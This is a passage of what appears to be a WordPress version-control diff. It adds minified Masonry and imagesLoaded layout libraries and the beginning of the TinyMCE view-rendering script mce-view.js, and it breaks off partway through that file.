o=e.onEnd[n];o.call(this),delete e.onEnd[n]}this.emitEvent("transitionEnd",[this])}},a.prototype.disableTransition=function(){this.removeTransitionStyles(),this.element.removeEventListener(c,this,!1),this.isTransitioning=!1},a.prototype._removeStyles=function(t){var e={};for(var i in t)e[i]="";this.css(e)};var v={transitionProperty:"",transitionDuration:""};return a.prototype.removeTransitionStyles=function(){this.css(v)},a.prototype.removeElem=function(){this.element.parentNode.removeChild(this.element),this.emitEvent("remove",[this])},a.prototype.remove=function(){if(!h||!parseFloat(this.layout.options.transitionDuration))return this.removeElem(),void 0;var t=this;this.on("transitionEnd",function(){return t.removeElem(),!0}),this.hide()},a.prototype.reveal=function(){delete this.isHidden,this.css({display:""});var t=this.layout.options;this.transition({from:t.hiddenStyle,to:t.visibleStyle,isCleaning:!0})},a.prototype.hide=function(){this.isHidden=!0,this.css({display:""});var t=this.layout.options;this.transition({from:t.visibleStyle,to:t.hiddenStyle,isCleaning:!0,onTransitionEnd:{opacity:function(){this.isHidden&&this.css({display:"none"})}}})},a.prototype.destroy=function(){this.css({position:"",left:"",right:"",top:"",bottom:"",transition:"",transform:""})},a}var r=document.defaultView,s=r&&r.getComputedStyle?function(t){return r.getComputedStyle(t,null)}:function(t){return t.currentStyle};"function"==typeof define&&define.amd?define("outlayer/item",["eventEmitter/EventEmitter","get-size/get-size","get-style-property/get-style-property"],o):(t.Outlayer={},t.Outlayer.Item=o(t.EventEmitter,t.getSize,t.getStyleProperty))}(window),function(t){function e(t,e){for(var i in e)t[i]=e[i];return t}function i(t){return"[object Array]"===f.call(t)}function n(t){var e=[];if(i(t))e=t;else if(t&&"number"==typeof t.length)for(var n=0,o=t.length;o>n;n++)e.push(t[n]);else e.push(t);return e}function o(t,e){var i=d(e,t);-1!==i&&e.splice(i,1)}function r(t){return t.replace(/(.)([A-Z])/g,function(t,e,i){return e+"-"+i}).toLowerCase()}function s(i,s,f,d,l,m){function y(t,i){if("string"==typeof t&&(t=a.querySelector(t)),!t||!c(t))return h&&h.error("Bad "+this.constructor.namespace+" element: "+t),void 0;this.element=t,this.options=e({},this.options),this.option(i);var n=++v;this.element.outlayerGUID=n,b[n]=this,this._create(),this.options.isInitLayout&&this.layout()}function g(t,i){t.prototype[i]=e({},y.prototype[i])}var v=0,b={};return y.namespace="outlayer",y.Item=m,y.prototype.options={containerStyle:{position:"relative"},isInitLayout:!0,isOriginLeft:!0,isOriginTop:!0,isResizeBound:!0,transitionDuration:"0.4s",hiddenStyle:{opacity:0,transform:"scale(0.001)"},visibleStyle:{opacity:1,transform:"scale(1)"}},e(y.prototype,f.prototype),y.prototype.option=function(t){e(this.options,t)},y.prototype._create=function(){this.reloadItems(),this.stamps=[],this.stamp(this.options.stamp),e(this.element.style,this.options.containerStyle),this.options.isResizeBound&&this.bindResize()},y.prototype.reloadItems=function(){this.items=this._itemize(this.element.children)},y.prototype._itemize=function(t){for(var e=this._filterFindItemElements(t),i=this.constructor.Item,n=[],o=0,r=e.length;r>o;o++){var s=e[o],a=new i(s,this);n.push(a)}return n},y.prototype._filterFindItemElements=function(t){t=n(t);for(var e=this.options.itemSelector,i=[],o=0,r=t.length;r>o;o++){var s=t[o];if(c(s))if(e){l(s,e)&&i.push(s);for(var a=s.querySelectorAll(e),h=0,p=a.length;p>h;h++)i.push(a[h])}else i.push(s)}return i},y.prototype.getItemElements=function(){for(var t=[],e=0,i=this.items.length;i>e;e++)t.push(this.items[e].element);return t},y.prototype.layout=function(){this._resetLayout(),this._manageStamps();var t=void 0!==this.options.isLayoutInstant?this.options.isLayoutInstant:!this._isLayoutInited;this.layoutItems(this.items,t),this._isLayoutInited=!0},y.prototype._init=y.prototype.layout,y.prototype._resetLayout=function(){this.getSize()},y.prototype.getSize=function(){this.size=d(this.element)},y.prototype._getMeasurement=function(t,e){var i,n=this.options[t];n?("string"==typeof n?i=this.element.querySelector(n):c(n)&&(i=n),this[t]=i?d(i)[e]:n):this[t]=0},y.prototype.layoutItems=function(t,e){t=this._getItemsForLayout(t),this._layoutItems(t,e),this._postLayout()},y.prototype._getItemsForLayout=function(t){for(var e=[],i=0,n=t.length;n>i;i++){var o=t[i];o.isIgnored||e.push(o)}return e},y.prototype._layoutItems=function(t,e){function i(){n.emitEvent("layoutComplete",[n,t])}var n=this;if(!t||!t.length)return i(),void 0;this._itemsOn(t,"layout",i);for(var o=[],r=0,s=t.length;s>r;r++){var a=t[r],h=this._getItemLayoutPosition(a);h.item=a,h.isInstant=e||a.isLayoutInstant,o.push(h)}this._processLayoutQueue(o)},y.prototype._getItemLayoutPosition=function(){return{x:0,y:0}},y.prototype._processLayoutQueue=function(t){for(var e=0,i=t.length;i>e;e++){var n=t[e];this._positionItem(n.item,n.x,n.y,n.isInstant)}},y.prototype._positionItem=function(t,e,i,n){n?t.goTo(e,i):t.moveTo(e,i)},y.prototype._postLayout=function(){var t=this._getContainerSize();t&&(this._setContainerMeasure(t.width,!0),this._setContainerMeasure(t.height,!1))},y.prototype._getContainerSize=u,y.prototype._setContainerMeasure=function(t,e){if(void 0!==t){var i=this.size;i.isBorderBox&&(t+=e?i.paddingLeft+i.paddingRight+i.borderLeftWidth+i.borderRightWidth:i.paddingBottom+i.paddingTop+i.borderTopWidth+i.borderBottomWidth),t=Math.max(t,0),this.element.style[e?"width":"height"]=t+"px"}},y.prototype._itemsOn=function(t,e,i){function n(){return o++,o===r&&i.call(s),!0}for(var o=0,r=t.length,s=this,a=0,h=t.length;h>a;a++){var p=t[a];p.on(e,n)}},y.prototype.ignore=function(t){var e=this.getItem(t);e&&(e.isIgnored=!0)},y.prototype.unignore=function(t){var e=this.getItem(t);e&&delete e.isIgnored},y.prototype.stamp=function(t){if(t=this._find(t)){this.stamps=this.stamps.concat(t);for(var e=0,i=t.length;i>e;e++){var n=t[e];this.ignore(n)}}},y.prototype.unstamp=function(t){if(t=this._find(t))for(var e=0,i=t.length;i>e;e++){var n=t[e];o(n,this.stamps),this.unignore(n)}},y.prototype._find=function(t){return t?("string"==typeof t&&(t=this.element.querySelectorAll(t)),t=n(t)):void 0},y.prototype._manageStamps=function(){if(this.stamps&&this.stamps.length){this._getBoundingRect();for(var t=0,e=this.stamps.length;e>t;t++){var i=this.stamps[t];this._manageStamp(i)}}},y.prototype._getBoundingRect=function(){var t=this.element.getBoundingClientRect(),e=this.size;this._boundingRect={left:t.left+e.paddingLeft+e.borderLeftWidth,top:t.top+e.paddingTop+e.borderTopWidth,right:t.right-(e.paddingRight+e.borderRightWidth),bottom:t.bottom-(e.paddingBottom+e.borderBottomWidth)}},y.prototype._manageStamp=u,y.prototype._getElementOffset=function(t){var e=t.getBoundingClientRect(),i=this._boundingRect,n=d(t),o={left:e.left-i.left-n.marginLeft,top:e.top-i.top-n.marginTop,right:i.right-e.right-n.marginRight,bottom:i.bottom-e.bottom-n.marginBottom};return o},y.prototype.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},y.prototype.bindResize=function(){this.isResizeBound||(i.bind(t,"resize",this),this.isResizeBound=!0)},y.prototype.unbindResize=function(){i.unbind(t,"resize",this),this.isResizeBound=!1},y.prototype.onresize=function(){function t(){e.resize(),delete e.resizeTimeout}this.resizeTimeout&&clearTimeout(this.resizeTimeout);var e=this;this.resizeTimeout=setTimeout(t,100)},y.prototype.resize=function(){var t=d(this.element),e=this.size&&t;e&&t.innerWidth===this.size.innerWidth||this.layout()},y.prototype.addItems=function(t){var e=this._itemize(t);return e.length&&(this.items=this.items.concat(e)),e},y.prototype.appended=function(t){var e=this.addItems(t);e.length&&(this.layoutItems(e,!0),this.reveal(e))},y.prototype.prepended=function(t){var e=this._itemize(t);if(e.length){var i=this.items.slice(0);this.items=e.concat(i),this._resetLayout(),this._manageStamps(),this.layoutItems(e,!0),this.reveal(e),this.layoutItems(i)}},y.prototype.reveal=function(t){var e=t&&t.length;if(e)for(var i=0;e>i;i++){var n=t[i];n.reveal()}},y.prototype.hide=function(t){var e=t&&t.length;if(e)for(var i=0;e>i;i++){var n=t[i];n.hide()}},y.prototype.getItem=function(t){for(var e=0,i=this.items.length;i>e;e++){var n=this.items[e];if(n.element===t)return n}},y.prototype.getItems=function(t){if(t&&t.length){for(var e=[],i=0,n=t.length;n>i;i++){var o=t[i],r=this.getItem(o);r&&e.push(r)}return e}},y.prototype.remove=function(t){t=n(t);var e=this.getItems(t);if(e&&e.length){this._itemsOn(e,"remove",function(){this.emitEvent("removeComplete",[this,e])});for(var i=0,r=e.length;r>i;i++){var s=e[i];s.remove(),o(s,this.items)}}},y.prototype.destroy=function(){var t=this.element.style;t.height="",t.position="",t.width="";for(var e=0,i=this.items.length;i>e;e++){var n=this.items[e];n.destroy()}this.unbindResize(),delete this.element.outlayerGUID,p&&p.removeData(this.element,this.constructor.namespace)},y.data=function(t){var e=t&&t.outlayerGUID;return e&&b[e]},y.create=function(t,i){function n(){y.apply(this,arguments)}return Object.create?n.prototype=Object.create(y.prototype):e(n.prototype,y.prototype),n.prototype.constructor=n,g(n,"options"),e(n.prototype.options,i),n.namespace=t,n.data=y.data,n.Item=function(){m.apply(this,arguments)},n.Item.prototype=new m,s(function(){for(var e=r(t),i=a.querySelectorAll(".js-"+e),o="data-"+e+"-options",s=0,u=i.length;u>s;s++){var f,c=i[s],d=c.getAttribute(o);try{f=d&&JSON.parse(d)}catch(l){h&&h.error("Error parsing "+o+" on "+c.nodeName.toLowerCase()+(c.id?"#"+c.id:"")+": "+l);continue}var m=new n(c,f);p&&p.data(c,t,m)}}),p&&p.bridget&&p.bridget(t,n),n},y.Item=m,y}var a=t.document,h=t.console,p=t.jQuery,u=function(){},f=Object.prototype.toString,c="object"==typeof HTMLElement?function(t){return t instanceof HTMLElement}:function(t){return t&&"object"==typeof t&&1===t.nodeType&&"string"==typeof t.nodeName},d=Array.prototype.indexOf?function(t,e){return t.indexOf(e)}:function(t,e){for(var i=0,n=t.length;n>i;i++)if(t[i]===e)return i;return-1};"function"==typeof define&&define.amd?define("outlayer/outlayer",["eventie/eventie","doc-ready/doc-ready","eventEmitter/EventEmitter","get-size/get-size","matches-selector/matches-selector","./item"],s):t.Outlayer=s(t.eventie,t.docReady,t.EventEmitter,t.getSize,t.matchesSelector,t.Outlayer.Item)}(window),function(t){function e(t,e){var n=t.create("masonry");return n.prototype._resetLayout=function(){this.getSize(),this._getMeasurement("columnWidth","outerWidth"),this._getMeasurement("gutter","outerWidth"),this.measureColumns();var t=this.cols;for(this.colYs=[];t--;)this.colYs.push(0);this.maxY=0},n.prototype.measureColumns=function(){if(this.getContainerWidth(),!this.columnWidth){var t=this.items[0],i=t&&t.element;this.columnWidth=i&&e(i).outerWidth||this.containerWidth}this.columnWidth+=this.gutter,this.cols=Math.floor((this.containerWidth+this.gutter)/this.columnWidth),this.cols=Math.max(this.cols,1)},n.prototype.getContainerWidth=function(){var t=this.options.isFitWidth?this.element.parentNode:this.element,i=e(t);this.containerWidth=i&&i.innerWidth},n.prototype._getItemLayoutPosition=function(t){t.getSize();var e=t.size.outerWidth%this.columnWidth,n=e&&1>e?"round":"ceil",o=Math[n](t.size.outerWidth/this.columnWidth);o=Math.min(o,this.cols);for(var r=this._getColGroup(o),s=Math.min.apply(Math,r),a=i(r,s),h={x:this.columnWidth*a,y:s},p=s+t.size.outerHeight,u=this.cols+1-r.length,f=0;u>f;f++)this.colYs[a+f]=p;return h},n.prototype._getColGroup=function(t){if(2>t)return this.colYs;for(var e=[],i=this.cols+1-t,n=0;i>n;n++){var o=this.colYs.slice(n,n+t);e[n]=Math.max.apply(Math,o)}return e},n.prototype._manageStamp=function(t){var i=e(t),n=this._getElementOffset(t),o=this.options.isOriginLeft?n.left:n.right,r=o+i.outerWidth,s=Math.floor(o/this.columnWidth);s=Math.max(0,s);var a=Math.floor(r/this.columnWidth);a-=r%this.columnWidth?0:1,a=Math.min(this.cols-1,a);for(var h=(this.options.isOriginTop?n.top:n.bottom)+i.outerHeight,p=s;a>=p;p++)this.colYs[p]=Math.max(h,this.colYs[p])},n.prototype._getContainerSize=function(){this.maxY=Math.max.apply(Math,this.colYs);var t={height:this.maxY};return this.options.isFitWidth&&(t.width=this._getContainerFitWidth()),t},n.prototype._getContainerFitWidth=function(){for(var t=0,e=this.cols;--e&&0===this.colYs[e];)t++;return(this.cols-t)*this.columnWidth-this.gutter},n.prototype.resize=function(){var t=this.containerWidth;this.getContainerWidth(),t!==this.containerWidth&&this.layout()},n}var i=Array.prototype.indexOf?function(t,e){return t.indexOf(e)}:function(t,e){for(var i=0,n=t.length;n>i;i++){var o=t[i];if(o===e)return i}return-1};"function"==typeof define&&define.amd?define(["outlayer/outlayer","get-size/get-size"],e):t.Masonry=e(t.Outlayer,t.getSize)}(window);
+
+/*!
+ * imagesLoaded PACKAGED v3.1.4
+ * JavaScript is all like "You images are done yet or what?"
+ * MIT License
+ */
+
+(function(){function e(){}function t(e,t){for(var n=e.length;n--;)if(e[n].listener===t)return n;return-1}function n(e){return function(){return this[e].apply(this,arguments)}}var i=e.prototype,r=this,o=r.EventEmitter;i.getListeners=function(e){var t,n,i=this._getEvents();if("object"==typeof e){t={};for(n in i)i.hasOwnProperty(n)&&e.test(n)&&(t[n]=i[n])}else t=i[e]||(i[e]=[]);return t},i.flattenListeners=function(e){var t,n=[];for(t=0;e.length>t;t+=1)n.push(e[t].listener);return n},i.getListenersAsObject=function(e){var t,n=this.getListeners(e);return n instanceof Array&&(t={},t[e]=n),t||n},i.addListener=function(e,n){var i,r=this.getListenersAsObject(e),o="object"==typeof n;for(i in r)r.hasOwnProperty(i)&&-1===t(r[i],n)&&r[i].push(o?n:{listener:n,once:!1});return this},i.on=n("addListener"),i.addOnceListener=function(e,t){return this.addListener(e,{listener:t,once:!0})},i.once=n("addOnceListener"),i.defineEvent=function(e){return this.getListeners(e),this},i.defineEvents=function(e){for(var t=0;e.length>t;t+=1)this.defineEvent(e[t]);return this},i.removeListener=function(e,n){var i,r,o=this.getListenersAsObject(e);for(r in o)o.hasOwnProperty(r)&&(i=t(o[r],n),-1!==i&&o[r].splice(i,1));return this},i.off=n("removeListener"),i.addListeners=function(e,t){return this.manipulateListeners(!1,e,t)},i.removeListeners=function(e,t){return this.manipulateListeners(!0,e,t)},i.manipulateListeners=function(e,t,n){var i,r,o=e?this.removeListener:this.addListener,s=e?this.removeListeners:this.addListeners;if("object"!=typeof t||t instanceof RegExp)for(i=n.length;i--;)o.call(this,t,n[i]);else for(i in t)t.hasOwnProperty(i)&&(r=t[i])&&("function"==typeof r?o.call(this,i,r):s.call(this,i,r));return this},i.removeEvent=function(e){var t,n=typeof e,i=this._getEvents();if("string"===n)delete i[e];else if("object"===n)for(t in i)i.hasOwnProperty(t)&&e.test(t)&&delete i[t];else delete this._events;return this},i.removeAllListeners=n("removeEvent"),i.emitEvent=function(e,t){var n,i,r,o,s=this.getListenersAsObject(e);for(r in s)if(s.hasOwnProperty(r))for(i=s[r].length;i--;)n=s[r][i],n.once===!0&&this.removeListener(e,n.listener),o=n.listener.apply(this,t||[]),o===this._getOnceReturnValue()&&this.removeListener(e,n.listener);return this},i.trigger=n("emitEvent"),i.emit=function(e){var t=Array.prototype.slice.call(arguments,1);return this.emitEvent(e,t)},i.setOnceReturnValue=function(e){return this._onceReturnValue=e,this},i._getOnceReturnValue=function(){return this.hasOwnProperty("_onceReturnValue")?this._onceReturnValue:!0},i._getEvents=function(){return this._events||(this._events={})},e.noConflict=function(){return r.EventEmitter=o,e},"function"==typeof define&&define.amd?define("eventEmitter/EventEmitter",[],function(){return e}):"object"==typeof module&&module.exports?module.exports=e:this.EventEmitter=e}).call(this),function(e){function t(t){var n=e.event;return n.target=n.target||n.srcElement||t,n}var n=document.documentElement,i=function(){};n.addEventListener?i=function(e,t,n){e.addEventListener(t,n,!1)}:n.attachEvent&&(i=function(e,n,i){e[n+i]=i.handleEvent?function(){var n=t(e);i.handleEvent.call(i,n)}:function(){var n=t(e);i.call(e,n)},e.attachEvent("on"+n,e[n+i])});var r=function(){};n.removeEventListener?r=function(e,t,n){e.removeEventListener(t,n,!1)}:n.detachEvent&&(r=function(e,t,n){e.detachEvent("on"+t,e[t+n]);try{delete e[t+n]}catch(i){e[t+n]=void 0}});var o={bind:i,unbind:r};"function"==typeof define&&define.amd?define("eventie/eventie",o):e.eventie=o}(this),function(e,t){"function"==typeof define&&define.amd?define(["eventEmitter/EventEmitter","eventie/eventie"],function(n,i){return t(e,n,i)}):"object"==typeof exports?module.exports=t(e,require("eventEmitter"),require("eventie")):e.imagesLoaded=t(e,e.EventEmitter,e.eventie)}(this,function(e,t,n){function i(e,t){for(var n in t)e[n]=t[n];return e}function r(e){return"[object Array]"===d.call(e)}function o(e){var t=[];if(r(e))t=e;else if("number"==typeof e.length)for(var n=0,i=e.length;i>n;n++)t.push(e[n]);else t.push(e);return t}function s(e,t,n){if(!(this instanceof s))return new s(e,t);"string"==typeof e&&(e=document.querySelectorAll(e)),this.elements=o(e),this.options=i({},this.options),"function"==typeof t?n=t:i(this.options,t),n&&this.on("always",n),this.getImages(),a&&(this.jqDeferred=new a.Deferred);var r=this;setTimeout(function(){r.check()})}function c(e){this.img=e}function f(e){this.src=e,v[e]=this}var a=e.jQuery,u=e.console,h=u!==void 0,d=Object.prototype.toString;s.prototype=new t,s.prototype.options={},s.prototype.getImages=function(){this.images=[];for(var e=0,t=this.elements.length;t>e;e++){var n=this.elements[e];"IMG"===n.nodeName&&this.addImage(n);for(var i=n.querySelectorAll("img"),r=0,o=i.length;o>r;r++){var s=i[r];this.addImage(s)}}},s.prototype.addImage=function(e){var t=new c(e);this.images.push(t)},s.prototype.check=function(){function e(e,r){return t.options.debug&&h&&u.log("confirm",e,r),t.progress(e),n++,n===i&&t.complete(),!0}var t=this,n=0,i=this.images.length;if(this.hasAnyBroken=!1,!i)return this.complete(),void 0;for(var r=0;i>r;r++){var o=this.images[r];o.on("confirm",e),o.check()}},s.prototype.progress=function(e){this.hasAnyBroken=this.hasAnyBroken||!e.isLoaded;var t=this;setTimeout(function(){t.emit("progress",t,e),t.jqDeferred&&t.jqDeferred.notify&&t.jqDeferred.notify(t,e)})},s.prototype.complete=function(){var e=this.hasAnyBroken?"fail":"done";this.isComplete=!0;var t=this;setTimeout(function(){if(t.emit(e,t),t.emit("always",t),t.jqDeferred){var n=t.hasAnyBroken?"reject":"resolve";t.jqDeferred[n](t)}})},a&&(a.fn.imagesLoaded=function(e,t){var n=new s(this,e,t);return n.jqDeferred.promise(a(this))}),c.prototype=new t,c.prototype.check=function(){var e=v[this.img.src]||new f(this.img.src);if(e.isConfirmed)return this.confirm(e.isLoaded,"cached was confirmed"),void 0;if(this.img.complete&&void 0!==this.img.naturalWidth)return this.confirm(0!==this.img.naturalWidth,"naturalWidth"),void 0;var t=this;e.on("confirm",function(e,n){return t.confirm(e.isLoaded,n),!0}),e.check()},c.prototype.confirm=function(e,t){this.isLoaded=e,this.emit("confirm",this,t)};var v={};return f.prototype=new t,f.prototype.check=function(){if(!this.isChecked){var e=new Image;n.bind(e,"load",this),n.bind(e,"error",this),e.src=this.src,this.isChecked=!0}},f.prototype.handleEvent=function(e){var t="on"+e.type;this[t]&&this[t](e)},f.prototype.onload=function(e){this.confirm(!0,"onload"),this.unbindProxyEvents(e)},f.prototype.onerror=function(e){this.confirm(!1,"onerror"),this.unbindProxyEvents(e)},f.prototype.confirm=function(e,t){this.isConfirmed=!0,this.isLoaded=e,this.emit("confirm",this,t)},f.prototype.unbindProxyEvents=function(e){n.unbind(e.target,"load",this),n.unbind(e.target,"error",this)},s});
Index: /tags/4.1.6/src/wp-includes/js/mce-view.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/mce-view.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/mce-view.js	(revision 33402)
@@ -0,0 +1,888 @@
+/* global tinymce */
+/**
+ * Note: this API is "experimental" meaning that it will probably change
+ * in the next few releases based on feedback from 3.9.0.
+ * If you decide to use it, please follow the development closely.
+ */
+
+// Ensure the global `wp` object exists.
+window.wp = window.wp || {};
+
+( function( $ ) {
+	'use strict';
+
+	var views = {},
+		instances = {},
+		media = wp.media,
+		mediaWindows = [],
+		windowIdx = 0,
+		waitInterval = 50,
+		viewOptions = ['encodedText'];
+
+	// Create the `wp.mce` object if necessary.
+	wp.mce = wp.mce || {};
+
+	/**
+	 * wp.mce.View
+	 *
+	 * A Backbone-like View constructor intended for use when rendering a TinyMCE View. The main difference is
+	 * that the TinyMCE View is not tied to a particular DOM node.
+	 *
+	 * @param {Object} [options={}]
+	 */
+	wp.mce.View = function( options ) {
+		options = options || {};
+		this.type = options.type;
+		_.extend( this, _.pick( options, viewOptions ) );
+		this.initialize.apply( this, arguments );
+	};
+
+	_.extend( wp.mce.View.prototype, {
+		initialize: function() {},
+		getHtml: function() {
+			return '';
+		},
+		loadingPlaceholder: function() {
+			return '' +
+				'<div class="loading-placeholder">' +
+					'<div class="dashicons dashicons-admin-media"></div>' +
+					'<div class="wpview-loading"><ins></ins></div>' +
+				'</div>';
+		},
+		render: function( force ) {
+			if ( force || ! this.rendered() ) {
+				this.unbind();
+
+				this.setContent(
+					'<p class="wpview-selection-before">\u00a0</p>' +
+					'<div class="wpview-body" contenteditable="false">' +
+						'<div class="toolbar mce-arrow-down">' +
+							( _.isFunction( views[ this.type ].edit ) ? '<div class="dashicons dashicons-edit edit"></div>' : '' ) +
+							'<div class="dashicons dashicons-no remove"></div>' +
+						'</div>' +
+						'<div class="wpview-content wpview-type-' + this.type + '">' +
+							( this.getHtml() || this.loadingPlaceholder() ) +
+						'</div>' +
+						( this.overlay ? '<div class="wpview-overlay"></div>' : '' ) +
+					'</div>' +
+					'<p class="wpview-selection-after">\u00a0</p>',
+					'wrap'
+				);
+
+				$( this ).trigger( 'ready' );
+
+				this.rendered( true );
+			}
+		},
+		unbind: function() {},
+		getEditors: function( callback ) {
+			var editors = [];
+
+			_.each( tinymce.editors, function( editor ) {
+				if ( editor.plugins.wpview ) {
+					if ( callback ) {
+						callback( editor );
+					}
+
+					editors.push( editor );
+				}
+			}, this );
+
+			return editors;
+		},
+		getNodes: function( callback ) {
+			var nodes = [],
+				self = this;
+
+			this.getEditors( function( editor ) {
+				$( editor.getBody() )
+				.find( '[data-wpview-text="' + self.encodedText + '"]' )
+				.each( function ( i, node ) {
+					if ( callback ) {
+						callback( editor, node, $( node ).find( '.wpview-content' ).get( 0 ) );
+					}
+
+					nodes.push( node );
+				} );
+			} );
+
+			return nodes;
+		},
+		setContent: function( html, option ) {
+			this.getNodes( function ( editor, node, content ) {
+				var el = ( option === 'wrap' || option === 'replace' ) ? node : content,
+					insert = html;
+
+				if ( _.isString( insert ) ) {
+					insert = editor.dom.createFragment( insert );
+				}
+
+				if ( option === 'replace' ) {
+					editor.dom.replace( insert, el );
+				} else {
+					el.innerHTML = '';
+					el.appendChild( insert );
+				}
+			} );
+		},
+		/* jshint scripturl: true */
+		setIframes: function ( head, body ) {
+			var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver,
+				importStyles = this.type === 'video' || this.type === 'audio' || this.type === 'playlist';
+
+			if ( head || body.indexOf( '<script' ) !== -1 ) {
+				this.getNodes( function ( editor, node, content ) {
+					var dom = editor.dom,
+						styles = '',
+						bodyClasses = editor.getBody().className || '',
+						iframe, iframeDoc, i, resize;
+
+					content.innerHTML = '';
+					head = head || '';
+
+					if ( importStyles ) {
+						if ( ! wp.mce.views.sandboxStyles ) {
+							tinymce.each( dom.$( 'link[rel="stylesheet"]', editor.getDoc().head ), function( link ) {
+								if ( link.href && link.href.indexOf( 'skins/lightgray/content.min.css' ) === -1 &&
+									link.href.indexOf( 'skins/wordpress/wp-content.css' ) === -1 ) {
+
+									styles += dom.getOuterHTML( link ) + '\n';
+								}
+							});
+
+							wp.mce.views.sandboxStyles = styles;
+						} else {
+							styles = wp.mce.views.sandboxStyles;
+						}
+					}
+
+					// Seems Firefox needs a bit of time to insert/set the view nodes, or the iframe will fail
+					// especially when switching Text => Visual.
+					setTimeout( function() {
+						iframe = dom.add( content, 'iframe', {
+							src: tinymce.Env.ie ? 'javascript:""' : '',
+							frameBorder: '0',
+							allowTransparency: 'true',
+							scrolling: 'no',
+							'class': 'wpview-sandbox',
+							style: {
+								width: '100%',
+								display: 'block'
+							}
+						} );
+
+						iframeDoc = iframe.contentWindow.document;
+
+						iframeDoc.open();
+						iframeDoc.write(
+							'<!DOCTYPE html>' +
+							'<html>' +
+								'<head>' +
+									'<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />' +
+									head +
+									styles +
+									'<style>' +
+										'html {' +
+											'background: transparent;' +
+											'padding: 0;' +
+											'margin: 0;' +
+										'}' +
+										'body#wpview-iframe-sandbox {' +
+											'background: transparent;' +
+											'padding: 1px 0 !important;' +
+											'margin: -1px 0 0 !important;' +
+										'}' +
+										'body#wpview-iframe-sandbox:before,' +
+										'body#wpview-iframe-sandbox:after {' +
+											'display: none;' +
+											'content: "";' +
+										'}' +
+									'</style>' +
+								'</head>' +
+								'<body id="wpview-iframe-sandbox" class="' + bodyClasses + '">' +
+									body +
+								'</body>' +
+							'</html>'
+						);
+						iframeDoc.close();
+
+						resize = function() {
+							// Make sure the iframe still exists.
+							iframe.contentWindow && $( iframe ).height( $( iframeDoc.body ).height() );
+						};
+
+						if ( MutationObserver ) {
+							new MutationObserver( _.debounce( function() {
+								resize();
+							}, 100 ) )
+							.observe( iframeDoc.body, {
+								attributes: true,
+								childList: true,
+								subtree: true
+							} );
+						} else {
+							for ( i = 1; i < 6; i++ ) {
+								setTimeout( resize, i * 700 );
+							}
+						}
+
+						if ( importStyles ) {
+							editor.on( 'wp-body-class-change', function() {
+								iframeDoc.body.className = editor.getBody().className;
+							});
+						}
+					}, waitInterval );
+				});
+			} else {
+				this.setContent( body );
+			}
+		},
+		setError: function( message, dashicon ) {
+			this.setContent(
+				'<div class="wpview-error">' +
+					'<div class="dashicons dashicons-' + ( dashicon ? dashicon : 'no' ) + '"></div>' +
+					'<p>' + message + '</p>' +
+				'</div>'
+			);
+		},
+		rendered: function( value ) {
+			var notRendered;
+
+			this.getNodes( function( editor, node ) {
+				if ( value != null ) {
+					$( node ).data( 'rendered', value === true );
+				} else {
+					notRendered = notRendered || ! $( node ).data( 'rendered' );
+				}
+			} );
+
+			return ! notRendered;
+		}
+	} );
+
+	// take advantage of the Backbone extend method
+	wp.mce.View.extend = Backbone.View.extend;
+
+	/**
+	 * wp.mce.views
+	 *
+	 * A set of utilities that simplifies adding custom UI within a TinyMCE editor.
+	 * At its core, it serves as a series of converters, transforming text to a
+	 * custom UI, and back again.
+	 */
+	wp.mce.views = {
+
+		/**
+		 * wp.mce.views.register( type, view )
+		 *
+		 * Registers a new TinyMCE view.
+		 *
+		 * @param type
+		 * @param constructor
+		 *
+		 */
+		register: function( type, constructor ) {
+			var defaultConstructor = {
+					type: type,
+					View: {},
+					toView: function( content ) {
+						var match = wp.shortcode.next( this.type, content );
+
+						if ( ! match ) {
+							return;
+						}
+
+						return {
+							index: match.index,
+							content: match.content,
+							options: {
+								shortcode: match.shortcode
+							}
+						};
+					}
+				};
+
+			constructor = _.defaults( constructor, defaultConstructor );
+			constructor.View = wp.mce.View.extend( constructor.View );
+
+			views[ type ] = constructor;
+		},
+
+		/**
+		 * wp.mce.views.get( id )
+		 *
+		 * Returns a TinyMCE view constructor.
+		 *
+		 * @param type
+		 */
+		get: function( type ) {
+			return views[ type ];
+		},
+
+		/**
+		 * wp.mce.views.unregister( type )
+		 *
+		 * Unregisters a TinyMCE view.
+		 *
+		 * @param type
+		 */
+		unregister: function( type ) {
+			delete views[ type ];
+		},
+
+		/**
+		 * wp.mce.views.unbind( editor )
+		 *
+		 * The editor DOM is being rebuilt, run cleanup.
+		 */
+		unbind: function() {
+			_.each( instances, function( instance ) {
+				instance.unbind();
+			} );
+		},
+
+		/**
+		 * toViews( content )
+		 * Scans a `content` string for each view's pattern, replacing any
+		 * matches with wrapper elements, and creates a new instance for
+		 * every match, which triggers the related data to be fetched.
+		 *
+		 * @param content
+		 */
+		toViews: function( content ) {
+			var pieces = [ { content: content } ],
+				current;
+
+			_.each( views, function( view, viewType ) {
+				current = pieces.slice();
+				pieces  = [];
+
+				_.each( current, function( piece ) {
+					var remaining = piece.content,
+						result;
+
+					// Ignore processed pieces, but retain their location.
+					if ( piece.processed ) {
+						pieces.push( piece );
+						return;
+					}
+
+					// Iterate through the string progressively matching views
+					// and slicing the string as we go.
+					while ( remaining && (result = view.toView( remaining )) ) {
+						// Any text before the match becomes an unprocessed piece.
+						if ( result.index ) {
+							pieces.push({ content: remaining.substring( 0, result.index ) });
+						}
+
+						// Add the processed piece for the match.
+						pieces.push({
+							content: wp.mce.views.toView( viewType, result.content, result.options ),
+							processed: true
+						});
+
+						// Update the remaining content.
+						remaining = remaining.slice( result.index + result.content.length );
+					}
+
+					// There are no additional matches. If any content remains,
+					// add it as an unprocessed piece.
+					if ( remaining ) {
+						pieces.push({ content: remaining });
+					}
+				});
+			});
+
+			return _.pluck( pieces, 'content' ).join('');
+		},
+
+		/**
+		 * Create a placeholder for a particular view type
+		 *
+		 * @param viewType
+		 * @param text
+		 * @param options
+		 *
+		 */
+		toView: function( viewType, text, options ) {
+			var view = wp.mce.views.get( viewType ),
+				encodedText = window.encodeURIComponent( text ),
+				instance, viewOptions;
+
+
+			if ( ! view ) {
+				return text;
+			}
+
+			if ( ! wp.mce.views.getInstance( encodedText ) ) {
+				viewOptions = options;
+				viewOptions.type = viewType;
+				viewOptions.encodedText = encodedText;
+				instance = new view.View( viewOptions );
+				instances[ encodedText ] = instance;
+			}
+
+			return wp.html.string({
+				tag: 'div',
+
+				attrs: {
